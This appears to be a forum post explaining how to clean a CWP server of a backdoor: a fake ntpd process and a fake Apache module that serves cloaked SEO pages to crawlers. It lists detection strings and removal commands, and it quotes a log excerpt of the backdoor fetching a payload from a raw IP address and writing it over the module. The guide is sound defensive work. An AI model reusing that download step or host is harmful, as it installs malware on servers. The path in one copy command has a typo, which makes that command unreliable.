You are infected with a backdoor python script which runs as a fake ntpd process. The redirection is performed by a fake mod_auth_form.so apache module which links libcurl library.


1) Kill the ntpd service
systemctl stop ntpd
systemctl disable ntpd


2) remove /usr/bin/ntpd file


3) examine the module
search for suspicious strings inside the module

strings /usr/local/apache/modules/mod_auth_form.so | grep -i -C5 "facebook|bot|welcome|loading"


if it has strings like:
is_search_engine_bot
decoded_bot_user_agents
encoded_bot_user_agents
fetch_seo_content
seo_write_callback
decoded_default_seo_content
decoded_js_page
intercept_handler
intercept_register_hooks


it is definitely a fake module


Also a good step is to check the integrity of the rpm which installed this fake module


rpm -V cwp-httpd | grep mod_auth_form


if the result is something like
S.5....T. /usr/local/apache/modules/mod_auth_form.so


means that size, the checksum and time differ from the rpm database


4) delete the fake mod_auth_form.so module
rm -f /usr/local/apache/modules/mod_auth_form.so


or copy it to examine it further or compare it to the real mod_auth_form.so module


cp /usr/loca/apache/modules/mod_auth_form.so /root/mod_auth_form.so.suspected


5) comment the line loading it in /usr/local/apache/conf/httpd.conf
#LoadModule auth_form_module modules/mod_auth_form.so


6) restart apache
systemctl restart httpd


7) verify that the redirect no longer happens
go to facebook share debugger and hit 2 times a webpage from your server and see if this "welcome" fake page still appears or now correct metadata are read


or do a test with curl and a bot agent from cli:
curl -v --compressed -H "Range: bytes=0-524288" -H "Connection: close" -A "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "YOUR_TEST_URL"


8) if you examine /var/log/messages you will find something like the following
server cwpsrv: chmod: cannot access ‘/usr/local/apache/modules/mod_auth_form.so’: No such file or directory
server cwpsrv: --2026-07-28 17:54:58-- http://23.27.47.158:443/postmm.rar
server cwpsrv: Connecting to 23.27.47.158:443... connected.
server cwpsrv: HTTP request sent, awaiting response... 200 OK
server cwpsrv: Length: 70312 (69K) [application/vnd.rar]
server cwpsrv: Saving to: ‘/usr/local/apache/modules/mod_auth_form.so’
server cwpsrv: 0K .......... .......... .......... .......... .......... 72% 144K 0s
server cwpsrv: 50K .......... ........ 100% 278K=0.4s
server cwpsrv: 2026-07-28 17:54:58 (166 KB/s) - ‘/usr/local/apache/modules/mod_auth_form.so’ saved [70312/70312]
server cwpsrv: Syntax OK


That is the backdoor in action


And finally----------->

Upgrade cwp and apache to latest versions!


(latest apache version is not 2.4.62)
PS:

Because we do not know that this is patched (changelog is not complete), I recommend adding a password in front of your cwp root directory in nginx (cwpsrv is nginx)